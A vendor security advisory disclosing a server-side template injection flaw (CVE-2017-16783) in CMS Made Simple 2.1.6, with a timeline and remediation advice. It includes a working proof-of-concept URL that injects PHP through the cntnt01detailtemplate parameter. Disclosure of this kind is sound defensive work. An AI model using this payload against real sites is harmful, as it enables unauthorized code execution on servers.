Information
--------------------
Advisory by Netsparker
Name: Server-Side Template Injection Vulnerability in CMS Made Simple
Affected Software : CMS Made Simple
Affected Versions: Tested on  2.1.6
Vendor Homepage :  http://www.cmsmadesimple.org/
Vulnerability Type :  Server-Side Template Injection
Severity : Important
Status : Fixed
CVE-ID : CVE-2017-16783
CVSS Base Score (3.0) :9.8
CVSS Vector String(3.0): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Netsparker Advisory Reference : NS-17-32
Detailed write up: https://www.netsparker.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/

Description
--------------------

Identified a Server Side Template Injection, which occurs when input data is unsafely embedded into a server-side template.

Technical Details
--------------------

Proof of Concept URL for SSTI vulnerability in CMS Made Simple ;

URL: /index.php?mact=News,cntnt01,default,0&cntnt01summarytemplate=string:{{7*7}}&cntnt01number=2&cntnt01detailtemplate=string:{php}phpinfo();{/php}&cntnt01category_id=1&cntnt01returnid=1
Parameter Name: cntnt01detailtemplate
Parameter Type: GET
Attack Pattern : string:{php}phpinfo();{/php}

Advisory Timeline
--------------------

11 July 2017 - First Contact
26 Aug 2017 - Vendor Fixed
09 Nov 2017 - Advisory Released

Solution
--------------------

Avoid creating templates from user input. If this is not possible, whitelist all input and encode it in accordance with the underlying subsystem or review the related template engine's documentation for hardening.

Credits & Authors
--------------------

These issues have been discovered by Mithat Gogebakan while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.